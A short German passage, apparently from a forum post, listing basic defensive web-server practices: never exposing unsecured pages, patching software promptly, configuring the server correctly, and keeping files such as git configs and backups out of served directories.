Das macht aber keinen Unterschied. Wichtig ist:

  1. Auf keinen Fall ungesicherte Seiten offen im Netz stehen lassen, die dort nicht sein sollten. Nicht einmal für eine Sekunde! Nicht einmal für das Setup eines Dienstes! Jedes offene Einfallstor kann und wird gefunden werden.
  2. Jede Software, die Kontakt zum Netz hat, regelmäßig updaten. Jede Software, auf die Software zugreift, die Kontakt zum Netz hat, regelmäßig updaten. Wenn du die Software selbst schreibst: Jede Bibliothek regelmäßig updaten. Wenn es Sicherheitspatches gibt? Am Tag der Veröffentlichung einspielen!. Wenn ein Scanner eine verwundbare Seite findet, wird jemand diese Schwachstelle ausnutzen.
  3. Aufpassen, dass der Webserver korrekt konfiguriert ist und nur Daten aus dem entsprechenden Verzeichnis ausliefert oder, bei dynamischen Seiten, genau das als Code ausführt, was ausgeführt werden soll
  4. Keine Daten, die nicht öffentlich sein sollen, in einem Verzeichnis liegen lassen, aus dem Dateien ausgeliefert werden. Dateien wie eine git-Konfiguration oder ein Backup-Ordner können sensible Informationen enthalten.